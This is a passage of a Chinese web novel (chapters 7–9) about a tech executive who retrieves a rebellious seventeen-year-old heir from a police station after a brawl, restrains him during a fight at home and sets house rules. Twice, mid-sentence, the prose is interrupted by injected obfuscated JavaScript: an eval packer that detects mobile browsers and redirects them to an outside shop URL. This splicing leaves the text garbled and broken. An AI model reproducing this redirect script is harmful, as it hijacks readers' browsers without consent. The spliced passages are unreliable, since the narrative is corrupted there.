王浩然皱了皱眉,有些摸不到头脑:“匿名爆料是公关灰色手段,不符合行业‘公开透明’的公关规则吧?” 沈知珩抬眼,神色不明道:“不符合规则可又不触碰法律红线,为什么不对它多些容忍度?商场博弈,赢才是根本,所谓规则,是用来适配结果的。” 沉默了片刻,王浩然露出几分了然的笑:“我懂了,我这就去对接公关部和技术部,按您的安排推进。” 虽然听懂了沈知珩的意思,刚入职场的王浩然还是又确认了一遍:“学长,那周部长这边,薪资按正常流程结算就好,不用额外给补助吧?” 沈知珩点了下头:“按公司制度来,本月出勤多少天,就结多少天薪资。” …… 关上门,王浩然才长长舒出一口气。 沈知珩的每一句话都精准得近乎锋利,即便态度始终温和,依旧让人不由自主地心生压迫。 他怔怔站了片刻,目光沉沉落在这扇紧闭的门上。 沈知珩看似随性布局,实则早已算透全局。 而这次的处置,能敲打竞品公司的同时,也是给公司内部提了个醒儿—— 无能者,终会被淘汰。 认识沈知珩这么多年,王浩然对他的处事风格其实见怪不怪。 这个男人,并不是只凭精深学识立足,用“书生学霸”形容他太过单薄。 “文人匪气”四字,才最为贴切。 * 忙碌完一天,暮色渐浓,总裁办公室的落地窗外,霓虹次第亮起,将楼宇的轮廓晕染得朦胧不清。 沈知珩起身走到窗边,目光掠过楼下川流不息的车流,神色晦暗难辨。 忽地,手机响了起来。 沈知珩收回思绪,接起手机,电话那头传来易承渊为自己安排的保镖急切的声音。 “沈总,紧急情况!易少爷打架斗殴,被带到派出所了,那边要求家长到场,您看这事要怎么应对?” 7. 第 7 章 一个多小时前。 易继勋一动手,带着股不要命的狠戾,像匹脱缰的野狼,一拳就砸得对方领头青年头破血流。那几个随行的同伙见老大吃亏,立刻蜂拥而上,围攻易继勋。 混乱之中,陈续几人也不再退缩,跟着上前帮忙。不过片刻,两伙人扭打在一起,打得不可开交。年轻人火气盛、下手重,场面瞬间失控。就连一直暗中跟着易继勋的保镖冲出来拦架,也险些被拉进混战,费了好大力气,才勉强将两拨人强行分开、控制住。台球厅内的客人见状,当即有人报警。没过多久,派出所的民警赶到现场,将所有人一并带回所里。 派出所走廊空旷又安静,一群人蹲成一排,个个鼻青脸肿、衣衫凌乱,老警察站在面前,严肃地做着思想教育。 “都说男人至死是少年,可你们几个快三十的人了,还和十几岁的学生凑在一起打架?还有你们,学生不好好在学校念书,跑到外面惹是生非,逞什么能?知不知道这要是打出大事,一辈子都毁了?” “不是啊,”鼻青脸肿的岳星野梗着脖子抬头,还想犟嘴,“我都把事情缘由说清楚了,是他们先挑事……” “闭嘴!” 老警察厉声呵斥,“你没动手吗?这场架就是你先挑起来的,还敢狡辩!” 走廊灯光惨白,映得一张张年轻的脸都带着狼狈。 易继勋无所谓地掀起眼皮,漫不经心地扫了一圈,没说话。 蹲在他身旁的陈续缩着脖子,小声碎碎念:“一会儿怎么跟我爸交代啊……回家铁定挨骂,骂都算轻的,他要是真动气,指定得动手揍我,我又不能跟我老子还手……” 何宇挠了挠乱糟糟的头发,一脸懊恼地拍了下大腿,唉声叹气:“我平时脾气挺好一个人,刚才怎么就脑子一热,跟着冲上去了……” “等会儿见家长,我该怎么说啊……” “回家肯定被念叨一晚上,我妈那嘴跟机关枪似的,这一个礼拜耳朵都别想清净了。” “早知道就不凑热闹了……” 众人七嘴八舌,越说越慌。 易继勋淡淡开口,声音不高:“你们跟家长就说,架是我挑的、我先动的手,你们只是过来拉架,不小心被卷进来,责任全都往我身上推就行。” “易哥,这……这不好吧。” 易继勋眉峰微蹙,不耐道:“别废话。一个人扛是扛,几个人扛也是扛,有什么区别?” 刚才警察要家长联系方式,他只淡淡说了一句,他老子前年出差,遇上空难,已经不在了。 民警自然不信,追问核实,易继勋要么不答,要么随口敷衍。民警见他一副油盐不进的样子,最后让他先在外面等候处理。 之后,双方家长陆续赶到派出所。 民警分别沟通、调解,依照现场情况与伤情判定,此次斗殴双方均有动手、均有人受伤,不存在完全无责一方。 经协调,双方按各自伤情承担相应责任,仅需赔付少量医疗费用,事件以治安调解处理。 家长们纷纷围着民警低声致歉、寒暄,只有易继勋孤身一人蹲在角落,形单影只。 老警察皱着眉,正准备上前问他几句。 一阵皮鞋声忽然从远处传来,笃笃作响,步伐急促。 易继勋漫不经心地抬眼,冷光落在男人银色的镜框上,折射出细碎的寒影,镜片后方,男人脸色沉得发紧,唇线绷成一道冷硬的弧度。 他眉眼间的沉稳与疏离交织在一起,虽带着书生的清雅矜贵,可往那里一站,自带一股压人的气场。 易继勋扫了一眼,翻了个白眼,收回了视线。 老警察上前一步,试探着发问:“你是……” 沈知珩的目光落在蹲在地上的少年身上,即便对方缩着肩,那份棱角分明的冷峻也藏不住。 他淡声开口:“我是易继勋的家人。” “你是他哥哥?”老警察追问道。 沈知珩垂眸,觉得没必要过多解释,应了句:“是的。” “我妈就生我一个,我没有哥。”蹲在地上的少年突然开口,声线冷硬又执拗。 沈知珩:“......” “其实是这样的......”片刻后,沈知珩只能拣着能说的措辞,不动声色地将话圆了过去。 老警察转头看向易继勋,厉声批评道:“我们就知道你小子肯定撒谎,哪有当儿子的咒自己爸爸死的?” 说完,他又转向沈知珩,神色凝重地叮嘱:“这孩子性子太野,你回去之后务必严加管教,别再让他这么肆意惹事,真闹出大事就晚了。” 闻言,沈知珩余光瞥见少年眉骨处的伤。 是道浅短的裂口,微微渗着细碎的血珠,顺着颧骨边缘缓缓滑落,没成流、不成疤,看着刺目,实则并不深重。 可是。 如果这伤口再偏一点,打到眼睛上,后果不堪设想。 他若有所思地顿了顿,随即微笑着点了点头。 双方周旋了一阵,民警最终同意放人。 沈知珩走到易继勋面前,微微俯身,淡声道:“走吧。” 易继勋像没看见他似的,连眼神都没分给对方,慢悠悠地直起身子,双手插进裤兜里,想着晚上再去网吧凑合一宿。 “等一下,你的赔偿还没给呢。”身后突然传来一道清脆的女声。 易继勋顿住脚步,缓缓转头,眉头微蹙。 医药费不是已经用花呗转给他们了吗? 先前斗殴,他下手比对方重些,最后还多补了两千块,怎么还来要赔偿? 只见一个身着干练套装的女人站在那里,是台球厅的经理。她手里举着一台损坏的摄影机,道:“先生,你打架的时候,随手拿了柜台里我老板的摄影机当武器,现在这台摄影机被砸坏了,你得照价赔偿。” 易继勋仔细回想了一下。 当时有个小子围着陈续打,陈续吃亏,打不过人家。情况紧急,他随手抓起身边的东西就朝对方扔了过去,后来又拿着那东西补了几下。 原来当时拿的是摄影机。 他沉声道:“多少钱?” “五万三。”女经理干脆利落地报出价格。 易继勋眼底掠过一丝明显的震惊:“多少?” “五万三。”女经理又重复了一遍,“这是X牌子的专业摄影机,不信你可以去查官方定价,我没多要你一分。” 换做以前,易继勋根本不会在乎这点儿钱。从前他打架闯祸,赔出去的钱没有百万也有大几十万,反正他老子有的是钱,赔得起。 可今时不同往日,他现在连A市最便宜的房子都租不起,兜比脸都干净,哪里拿得出五万三的赔偿款。 一时之间,少年的脸色沉了下来,周身的低气压更浓了些。 易继勋像根电线杆似的,直挺挺地杵在原地。 纵使他没脸没皮惯了,也有男人的骨气,断断做不出欠人钱赖账的事儿。 大老爷们当众说自己没钱,太特么丢人了。 他脸上的神色一阵青一阵白,十分难看。 怪异的沉默在走廊里蔓延开来,周遭人的目光齐刷刷地聚在他身上。 陈续无意间与他对上眼神,似乎读懂了些什么,目光里闪过一丝诧异,刚想说点什么,就被他父亲喊回了神:“你往哪看呢?刚才我教育你的话听懂了吗?”他只好打了个哈哈,干笑两声,赶紧移开视线,不敢再多看。 易继勋尴尬得脚趾都快抠出三室一厅,恨不得找个地缝钻进去。 他缓缓敛下眼皮,压下心底翻涌的窘迫和烦躁,不肯放低身段。 就算没钱,也要酷到最后。 再抬眼时,少年眼底的窘迫彻底被桀骜取代,对着女经理冷声道:“要钱没有,要头一颗,要命一条。” 女经理被他这副强硬又蛮横的态度噎了一下,愣在原地片刻,才缓过神来。 她的目光缓缓移到易继勋身侧,落在那个身着高定手工西装的男人身上,理所当然道:“你不是还有你哥哥吗?让他帮你结也一样。” “不好意思,这笔钱我来结。”没等易继勋开口反驳,沈知珩从容上前,说道:“麻烦您出示一下收款码。” 他先是温言安抚了女经理两句,说些场面话稳住对方,随即,镜片下犀利的目光越过女经理,落在她身后那群与易继勋等人打架的青年身上。 他顿了顿,语气像聊家常一般,不紧不慢地开口:“想来平日里这几位兄弟和您往来不少吧?不然怎么会这么巧,一同出现在这里。” 女经理身形微顿,眼底闪过一丝慌乱,随即强装镇定地笑了笑,矢口否认:“先生说笑了,我不认识他们,就是些来店里打台球的客人而已。” 沈知珩不动声色地勾了勾唇角,顺着她的话往下说:“原来是这样,方才见你们站得近,聊得也投机,还以为你们是熟人,看来是我误会了。” 女经理连忙摆手,脸上堆着生硬的笑:“哪有哪有,就是这几个年轻人隔三差五来我们这里打台球,混个脸熟罢了。” *这几日A市气温骤降,夜里九点的风带着凉意扑面而来。 易继勋还穿着半截袖,下意识地抱了抱胳膊,将裸露的小臂往怀里缩了缩,忍不住打了个喷嚏。 忽的,身后路灯将一道颀长的身影拉得很长,淡淡的古龙香水味裹挟着晚风飘来,清冽又矜贵。 “易少,可否借一步说话?” 易继勋心里是抗拒的,可他虽说混了点,但也不是不懂事理的人。 方才沈知珩刚帮他结清了五万三的赔偿款,这份情他没法当作看不见。 沉默须臾,他转头,冷声道:“老子现在正好有空,有话快说,有屁快放。” 两人最终敲定的谈话地点,是沈知珩的住处。 易继勋翘着腿,闲散地靠在沙发上,姿态张扬又随意,看不出无家可归的窘迫,反倒比屋子的主人更显自在。 他抬眼睨着站在身前的沈知珩:“说吧。” 沈知珩并没计较他的无礼,缓步走到沙发旁的单人沙发上坐下,轻描淡写道:“易董当初吩咐我,多照拂易少,兼做你的引路人。我自忖才疏学浅,不够资格担此重任,所以一直没敢贸然打扰。” 易继勋嗤笑一声,挑眉道:“所以你现在觉得自己够格了?” 沈知珩垂眸,不动声色地压下眼底一闪而过的凉意,再抬眼时,脸上覆上温和的笑意:“你是易家少爷,我只是易氏旗下的打工者,论身份,我自然没这个资格。” 话音稍顿,他话锋一转,字字清晰:“可眼下我们都避不开一个事实。易董的保镖已然知晓今日之事,易少觉得,他们在易董面前,是会刻意隐瞒,还是如实汇报?况且,今天垫付的五万多赔偿款,肯定是要走公司流程报销,到时候易董问起来,恐怕瞒不住。” 易继勋抿紧唇,下颌线绷得紧紧的,没有应声。 他也不愿意让易承渊知道这些破事。 沈知珩轻叹了口气,事情没有按照他预想的方向走,话语里多了几分真切的无奈:“眼下的情况,我们没得选。我受易董所托,不是来摆架子管你,只是得帮你规整心性、避些祸端。说白了,不过是打工人尽一份‘工作’的本分。” 易继勋瞬间警觉起来,沉声道:“要是这事,那我明确告诉你,免谈。老子爱干嘛干嘛,谁都别想管我。” 说完,他抬手拍了下沙发扶手,吊儿郎当地站起身。 给脸不要脸。 易继勋没心思再耗,转身就要走。 可刚挪步,后肩就被冰凉的手心扣住。 易继勋的自我防护意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233784|197641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极强,几乎是本能地目露狠戾,反手攥住沈知珩的手腕,用十足十的力气狠狠一甩。 这次甩开了。 不出意外,两人又像上一次那样扭打起来。 只不过这一回,沈知珩没再被动防御,率先出手,身形敏捷得不像个常年穿西装的“文人”,转瞬就将易继勋按在了沙发背上。 他面对面抵着少年,手臂顺势环住对方的身体两侧,刚好压制住易继勋的动作。 易继勋牢牢地被困在沈知珩与沙发之间,动弹不得。 活了十七年,易继勋还是第一次碰到每次打架都让他占不到任何便宜的人。 偏偏这人还长着一张世人口中“跳蚤放个屁都能把腰闪了”的小白脸长相。 心底的不甘与戾气翻涌而上,他实在气不过。 易继勋暗中铆足力气,猛地抬起膝盖,直冲着沈知珩的腹部顶去。 他对自己的力道颇有信心,这一脚要是踹下去,对方肯定得躺进医院。 可沈知珩识破了他的意图,身形微侧,长腿一下子抵住了他的膝盖,硬生生拦下了这一击。 动作僵持间,两人脸贴得极近,鼻尖相抵,彼此粗重的呼吸交织在一起,温热的气息拂过对方的唇角。 易继勋狠狠瞪了他一眼,语气冲得很:“你离老子这么近干什么?” 沈知珩原本微抿的薄唇绷成一条冷硬的直线,沉默半晌,道:“易少,你是不是觉得什么问题都可以靠打架解决?” 易继勋想也没想就怼回去:“废话。” 剑拔弩张的氛围愈发浓烈,沈知珩却半点没有挪开身子的意思,依旧将自己困在他与沙发之间。 易继勋纵使满心抗拒,也只能“被迫”听他往下说。 “你今天自以为‘仗义’出手,可仗义的前提是有能力兜底,”沈知珩的语速比平时慢了半拍,每个字都咬得极清,“你连自己的行为后果都扛不住,谈什么帮朋友?和莽夫有什么区别?别让你的善良,配不上你的智商。” 这世上除了他老子,还没人敢这么直白地教训他、否定他。易继勋瞬间像只被惹毛的狼崽子,语调凶狠道:“你特么说谁蠢呢?老子爱干嘛干嘛,轮得到你说三道四?” 论讲道理,他肯定不是沈知珩的对手,只能用拳头发泄。 易继勋目光越过沈知珩高瘦挺拔、如雕像般挡在身前的身子,落在不远处的茶几上。 趁着两人身形相贴、沈知珩未完全防备的间隙,手臂灵巧地绕过他的腰侧,迅雷不及掩耳之势探过去,一把攥住了茶几上的花瓶。 易继勋敏锐地察觉到,就在他指尖碰到那只插着百合花的花瓶的瞬间,沉稳的沈知珩,眼底竟掠过一丝慌乱。 易继勋心头闪过一瞬诧异。 不过是一个普通的花瓶而已,他至于慌吗? 可他没心思深究,攥紧花瓶,手腕一扬,就朝着沈知珩的后脑勺砸了过去。 沈知珩反应极快,几乎是在花瓶扬起的瞬间,侧身敏捷避开,同时反手探臂,扣住易继勋攥着花瓶的手腕,稍一用力,就将花瓶从他手里夺了回来。 男人骨子里都有占有欲,手里的东西被硬生生抢走,像是引线被点燃,易继勋的火气瞬间更盛,眼底的戾气更浓,猛地扑上去,伸手就想把花瓶从沈知珩手里抢回来。 两人扭打在一起,混乱中,沈知珩手中的花瓶没拿稳。 里面的百合花顺着瓶口滑落,带着晶莹的水珠,散落一地,水渍很快在地板上晕开一片。 易继勋红了眼,可就在他再度扑上去的瞬间,他清晰地察觉到,沈知珩的目光变了。 他的情绪和以往截然不同。 明显动怒了。 沈知珩生气的时候,眉眼间覆着一层冷意,透着一股难言的压迫感,比歇斯底里的怒火更让人脊背发凉。 可易继勋本就性子野、不服输,哪里会怕这份压迫,势必要硬刚。 没等他近身,沈知珩已然出手,速度快得惊人,像是被这接连的挑衅彻底刺激到,指尖扣住易继勋的脖颈,力道不算重,却足够压制住他的动作,随即猛地发力,将他狠狠按在沙发上。 少年猝不及防,后背重重撞在柔软的沙发上,被沈知珩牢牢按在身下,动弹不得。 易继勋哪里忍得下这份屈辱,反手就攥住沈知珩扣在自己脖颈上的手腕,用尽全身力气狠狠甩开。 刚要翻身反击,沈知珩却快他一步,俯身伸手,一把抽掉了他腰间的皮带,用皮带将他挣扎不休的双手牢牢捆住。 “你他么胆儿真肥,敢绑老子!”易继勋怒火中烧,像是旱地拔葱一样猛地翻身坐起。 可下一秒,一阵凉意顺着腰腹往下窜。 裤子竟掉了一半。 他虽说个子高,可还是未成年人,骨架不如成年男子宽厚扎实,裤子腰围本就偏大,方才剧烈挣扎间,裤腰松垮,此刻顺势滑落,露出了半截腰腹。 他这辈子最忌讳的就是在外人面前丢面子,更何况是在处处压制自己的沈知珩面前。这副狼狈模样,比打输架更让他难堪。 易继勋猛地伸手去扯裤腰,胡乱往上提了些。 他没法再硬气,只能又猛地躺回沙发上,借着平躺的姿势稳住裤子。 他又羞又气,却依旧不肯服软,咬着牙威胁道:“你特么快点放了老子!” “闭嘴。”沈知珩的声音裹着冰碴似的寒意,“再敢乱动,我不介意把你的脚也一并绑起来。” 易继勋低低地骂了一声“操”,知道这家伙说到做到,只能悻悻闭嘴。 他看到沈知珩缓缓蹲下身,眼底翻涌着他看不懂的复杂情绪。 没有了方才的冷厉与怒火,取而代之的是满目的珍视。 然后,小心翼翼地,一枝一枝拾起散落在地板上的百合花。 8. 第 8 章 拾起最后一朵后,沈知珩起身走到阳台置物架旁,缓缓往花瓶里注入适量的水,将整理好的百合错落有致地插入瓶中,动作娴熟又细致。 确认洁白的花盏饱满挺立、没有折损后,他眼底掠过一丝浅淡的暖意,露出一抹欣慰的笑。 余光扫过客厅,瞥见那个窝在沙发上、瞪着眼睛,一副恨不得扑过来咬他、将他生吞的小狼崽子,沈知珩笑意淡了些。 默默打消了把花瓶放在沙发旁矮几上的念头,将花瓶放在了玄关的置物台上。 身后沙发上传来易继勋不耐烦的踢腿声。 等这小孩子气消了,冷静下来,再好好和他谈谈吧。 成年人的世界,从来都是工作为先。 沈知珩收起心绪,转身走进书房,将笔记本电脑取了出来,走到开放厨房旁,将电脑轻轻放在那张大理石岛台上后,他抬手推开客厅的落地玻璃窗,微凉的晚风瞬间涌入,眼底的倦意稍稍褪去些许。 即便身处家中,身为科技公司总裁的他,工作也早就渗透进生活的每一个角落,此刻他坐回岛台旁的高脚椅上,打开电脑,熟练地调出待审批的项目报告与商务文件。 没几分钟,桌面上的手机响了起来。 沈知珩低眸看了一眼,来电显示是易承渊。 他薄唇微抿,轻不可闻地叹了口气,接起了电话。 “易董,您好。” 沈知珩早就预料到易承渊这通电话的用意,果不其然,电话那头的人先是问了问他近期的近况,没聊两句,便话锋一转,自然而然地提及了今日易继勋打架斗殴、被带进警局一事。 易承渊停顿了片刻,道:“知珩,怎么就让他出了这种事?” 沈知珩握着手机的指尖微微收紧。 这事说到底,是他“失职”,没能看好易家少爷。 面对上级隐晦的责问,如何恰当应对,本身就是一门学问。沈知珩当然不会直接将过错揽在自己身上。 他将手机握得更紧了些,喉结轻滚了一下,用故作愧疚的语气道:“易董,易少出事后,我就第一时间赶至警局处理。这事是我预判不足,没能提前肃清易少周边的潜在隐患。后续我会彻查今天与他起冲突的人员及其背后牵扯的关系,连根处置,绝不让此类纰漏再发生第二次。” 沈知珩全程冷静得近乎漠然,没有一句多余的辩解,只报备关键信息、递上可行的解决方案,每一个字都紧扣“止损”。 客厅沙发方向忽然传来“咚”的一声闷响,是易继勋不耐烦地抬脚踹在了沙发扶手上,还混着一句含糊的咒骂。 沈知珩的目光平静地转向他,少年没再闹出更大的动静,想来也是觉得此刻的模样难堪。 沈知珩的注意力又回到电话上。 或许是听到了可行的执行对策,易承渊没有再多追问,语气稍缓,叮嘱道:“他没把人打成重伤、没惹出更大的祸端,就算是万幸了。” “这小子打小就淘气,我都管不住,知珩,往后还要多费费心,替我多教育教育他。” “......” 电话那头传来忙音,易承渊挂断了通话。 沈知珩握着手机的手松了下来,长长舒了口气,揉了揉眉心。 是祸躲不过。 他心思缜密,凡事都算得一清二楚,利弊得失在他心里都有一杆精准的秤。 管教那位桀骜难驯的少爷,怎么算都是桩费力不讨好的差事,于他而言,是弊远大于利。 得不偿失的“工作”,他自然不会接,不接,才是最理智的选择。 可他当初没多周旋,一口应下易承渊,说白了就是知道,要在易氏立足,这要求躲不掉,推脱也是白费功夫。 那么,就只能用最少的精力,把这件事办妥。 本以为找易承渊要几个保镖,24小时盯着易继勋的行踪,保镖解决不了的问题,他再出面,凑活完成他“好好活着”的要求就成。 可他是真小看了这十七岁少年的野性。 不计后果地闯祸,还都不是为了自己。 真无法理解。 * 沈知珩起身,去厨房烧了一壶热水。 随后走到沙发边,居高临下地看着躺在上面的人,语调无波无澜:“易少,冷静下来了咱们就好好谈,没冷静,我就走。” 易继勋抬眼,漠然地看着对方。 来沈知珩家,本来也打算“好好谈”。 可轻微狂躁症,一旦犯了就没发控制,刚才才又跟沈知珩打了起来。 眼前这男人,论学识,他俩一个够得着清北保送线,一个连拼多多退货线都摸不着,自己压根比不过。 论武力值,也没料到,居然会栽在他手里落了下风。 还是头一次,有人能在他面前这么干脆利落地降维打击。 不服气归不服气,但不能就这么认怂,日子还长,鹿死谁手还不一定。 只是眼下暂避锋芒才是明路,早晚得给这小子点颜色看看,让他知道自己不是好惹的。 易继勋翻了个白眼,嘴角撇了撇,硬气道:“有话就说,有屁快放,别磨磨唧唧的。” 男人伸手,给他松开了绑在手腕上的裤腰带。 易继勋一把抓过裤腰带攥在手里,吊儿郎当地挑着一只眉,呛过去:“怎么着,沈总还有盯着别人穿裤子的癖好?” 对方勾了勾唇,淡淡笑了笑,也没再多说,转身走到了阳台护栏边。 易继勋穿好裤子后,两人重新归位,恢复了最初的坐姿。 沈知珩端坐于侧边单人沙发上,脊背挺直,姿态矜贵。 易继勋则随意斜倚在主位沙发上,浑身透着散漫不羁。 “我想你也听到了我和你父亲的谈话,”沈知珩说,“如果你有哪处没听清、没听懂,我可以再给你解释一遍。” 偌大的客厅里就他们两个人,易继勋自然听清了方才电话听筒里传来的声音。 那会儿他老子的声音飘过来:“那小子房租到期了,估摸着也没多少钱,一个人在外头住,还总爱闯点乱子。你住他隔壁,实在不行,就让他先去你那儿住。你放心,钱的事不用你操心,怎么安排都成。最近车行又上新了一台宾利,品相不错,我就给你订了一辆,过两天让助理送过去。” 易继勋嗤了一声,散漫地抬了抬眼,讥讽道:“老子听得一清二楚,用不着再在这儿多废话。” 沈知珩不恼,直接切入正题:“眼下这局面,我们的确避无可避。往后我难免要多费心照拂你,既然如此,不如我们先把规矩定下来,往后各守本分,省得再闹不必要的麻烦。” 易继勋没说话。 “易少潇洒,我想你肯定不愿意住我这里,但是这个房子是你父亲买的,我只是拥有居住权而已。所以,这个房子换种角度,你也应该住在这。” 其实沉下心来想想,这个说法易继勋是认同的。 既然不想让这小子好过,想找机会挫挫他的锐气,肯定是离得越近越好,所以他就更不能走。 能让这小子不顺眼,也算是先前落了下风后,扳回来的一局。 易继勋懒洋洋的目光落在他身上,没对这话发表看法。 “如果你没异议,那屋子你来选。三室两厅,可以去看看,哪个更适合你。”沈知珩见状,顺势说道。 易继勋对住的地方向来没什么讲究:“随便了,就住我上次住的那间就行。” “接下来,我有三个要求,”易继勋默不作声的态度,让沈知珩继续往下说,“不主动惹事——另外,不迟到早退、作业按时完成。”当然后两者就是凑个数,他也没真打算让这个顽劣的少年完成。 “我了解过,你们学校早上七点半到校,晚上六点放学,因教育局减负政策,不安排晚自习。我会安排司机每日接送你上下学,在你能按时完成作业的前提下,课余生活我不干涉,只有一条规矩:每晚九点前,必须到家。” 易继勋嗤笑出声,不屑地看着对方。 除了他老子,还没人敢这么明目张胆地给他定规矩。 就算是他老子的规矩,他也从来没放在心上过。 他掀起薄薄的眼皮,唇角勾起一个玩味的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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实践证明,喷嚏这玩意儿跟钱包里的钱似的,根本管不住。 易继勋黑着脸。 沈知珩调侃道:“不吃药,感冒只会越来越重,浑身乏力,别说找机会跟我较劲,恐怕连出门都费劲。易少如果想精力充沛些,还是吃了比较好。” 这话倒是没毛病。 病好了,脑子才能更清醒,才能想出更好的办法气沈知珩、挫他拿鸡毛当令箭的装X德行。 易继勋瞥了眼敞开的落地玻璃窗:“这鬼天气还敞着窗户,你他/妈是不是故意想冻死我?” 甩锅归甩锅,好汉不吃眼前亏,他慢悠悠地伸出手,拿起那杯温水,姿态就像是大爷赏脸一般。 故作淡定地从药盒里倒出一片感冒药,就着温水咽了下去。 放下水杯,他的目光落在茶几上装着只剩半瓶药膏的药瓶上,抬了抬下巴,不耐烦地问:“拿这个破玩意儿干嘛?” 沈知珩顺着他的目光看向那瓶药膏,视线落在他布满深浅伤痕的手臂上,眸光微凝一瞬,又若无其事地收回,抬手虚虚指向他眉骨附近:“易少,你这里受伤了,自己擦点药膏。这个药消炎祛疤效果很好,坚持擦个三五天就能好转。” 他微微弯腰将药膏往易继勋那边推了推,顿了下,笑意不达眼底地补充道:“不知道易少有没有吃晚餐?如果没吃,你想吃点什么,我给你做,或者点些外卖都可以。” 压根没吃晚饭的易继勋,面无表情地冷声道:“用不着,刚吃完火锅,撑得慌。” 沈知珩眼底掠过一丝不易察觉的笑意:“既然易少已经吃过了,那就早点休息,养足精神,也好早日痊愈。我还有工作要处理,就不打扰你了。” 易继勋舌尖舔了舔后槽牙,目光落在拿起电脑、往书房方向走去的高瘦身影上,脸上露出不屑一顾的表情,轻嗤一声。 小子,走着瞧。 老子要把丢的面子全找回来,让你知道谁才是说了算的那个。 9. 第 9 章 翌日一早,易继勋醒来,瞥了眼床头的手机。 中午十二点了。 昼夜颠倒、睡到日上三竿是他的习惯,他不紧不慢地坐起身,等混沌的脑子彻底清醒,才慢悠悠下床套上衣服。 一进客厅,抬眼便看见餐桌上摆得整整齐齐的餐具:几只叉烧包、一碗乳白色的饮品,看着像是牛奶,旁边还搁着一碗叫不出名字的粥。 粥碗旁边,压着一张浅黄色的便签,字迹十分好看。 钢笔写就,笔锋苍劲有力,字形饱满大气。 ——易少,吃完早餐再去学校,李师傅会在小区门口等候接你,就是那辆黑色、车牌号XXXX的奔驰。 易继勋不屑地“切”了一声,唇角撇出一抹嘲讽的弧度。 嘴上一口一个“易少”恭敬得很,鬼知道背后怎么骂我。 想来沈知珩不过是装模作样的客气,早餐他压根不会碰,车更是多此一举。 他要骑着自己的摩托风风火火地去。 易继勋又扫了眼桌上的早餐,抬手摸了摸下巴。 这小子,怎么总爱做这些广式早餐? 上次来这儿的时候,餐桌上摆的也都是这类吃食。 可听他平时说话,普通话说得字正腔圆,没有G市口音,不太像土生土长的G市人。 易继勋洗漱完,拎起书包就准备去学校。 刚要迈步,一股刺鼻的消毒水味突然钻进鼻腔。 他下意识地皱紧眉头,鼻尖微微耸动,又用力嗅了两下,确认味道是从自己昨天躺过的沙发那边飘来的。 卧槽。 这小子,居然让阿姨把他昨天躺过的沙发靠背,用消毒水擦了一遍? 不就是昨天气不过,抬脚踹了几下吗? 他袜子一天换一双新的,能脏到哪里去? 真是穷讲究,事儿多到不行! 他就是嫌弃老子!操! 到了学校,易继勋趴在桌上睡了整整一个下午,直到放学铃声刺耳响起,才懒洋洋伸着懒腰醒过来。 一放学,人瞬间就精神了。 陈续单手搭着书包带,吊儿郎当地往这边晃,小心翼翼扫了圈四周,确认没老师没旁人,走到易继勋桌边。 易继勋抬眼瞥他一眼,眉梢微挑,还没开口,对方压低声音凑到耳边。 “易哥,晚上去网吧不?” 他懒洋洋应了声。 陈续没顺着话题走,声音压得更低:“易哥,你最近……是不是手头有点紧?” 这话像根细刺扎过来,易继勋眼皮猛地一跳,心底那点烦躁瞬间往上翻涌,脸上却半点情绪都没露,只淡淡收回目光,语气硬邦邦的:“你在做梦吧?没事干就去写几道题。” 陈续当场愣在原地,一脸摸不着头脑,张了张嘴还想再追问,远处忽然传来何宇的喊声:“陈续,今天咱俩值日,别忘了哈!” 他只得悻悻闭了嘴,匆匆应了一声“来了”,转身跑开。 教室里人渐渐走空,易继勋刚摸出手机,屏幕突然弹进一条转账提醒—— 岳星野转来了两千五。 他眉梢散漫地挑了下,立刻明白,是昨天台球局的钱。 可明明只打完一局,人就被带去了警局,三局两胜根本没走完,对方转得也太多了。 刚点上“退回”,一道身影停在他面前。 岳星野双手揣在裤兜里,下巴微抬,不服输的劲儿全写在脸上:“愿赌服输。虽然没打完,但我估计哈,继续打也够呛赢得了你。下次别想让老子让着你,一定把你打趴下。” 他喉结动了动,像是还有话要讲,顿了顿却只抿紧唇,没再出声。 “要收就只收一局的。”易继勋点了确认收款,转手又转回去两千三百四十,“多余的退你,拿着。” 岳星野垂眸扫了眼手机,半晌没动,末了只是意味不明地扯了扯嘴角,抬眼看向他:“你跟陈续他们要去大雨网吧吧?一起,我请。先去附近吃点东西,想吃什么你们随便点。” 易继勋还没来得及开口,心里正纳闷这人怎么突然非要花钱,身后就传来一道轻快的声音。 “去网吧带我一个!” 陆真真快步走近,目光落在他身上,亮得有些明显,又带着点怯生生的拘谨。 易继勋和她对视一眼,眼底没什么波澜,只懒懒收回视线,低头随意划着手机。 一旁的岳星野先开了口,视线转向女生:“真真,你晚上不学习?” 陆真真摆了摆手:“你看我像会回家写作业的人吗?我是除了职高以外、被分数线最低的三高录取的,基础差,就剩下不到一年,学了也没什么用,不如放开了玩。” 岳星野闻言,对着她竖了下大拇指,嘴角勾起一点笑:“英雄所见略同。”又补了句,“那跟家里说一声,别让他们担心。” * 网吧里键盘敲得噼啪响,五个三高的学生凑在一起五排,语音里喊得震天响。 “我有大招!快快快——大他大他大他——OJBK!” 屏幕上主宰旁团战正酣,双方打得焦灼,血量都所剩无几,鹿死谁手难解难分。 易继勋刚按完技能,电脑桌面右下角突然弹出微信电话提示。 他登录微信PC版没退,弹窗直接跳在游戏界面边缘。 他想起昨天沈知珩让他加联系人的事,当时懒得纠缠,随手通过了申请,这会儿找上门来了。 易继勋眉头一皱,烦躁地直接点了挂断。 就这短短一瞬的分神,屏幕骤然灰掉。 团灭。 大龙被抢。 对面拿到大龙buff直接一波推平水晶,对局结束。 陈续摘了耳机,咋咋呼呼:“易哥,你刚才怎么不动了?怎么被对面打野绕后切死了??” 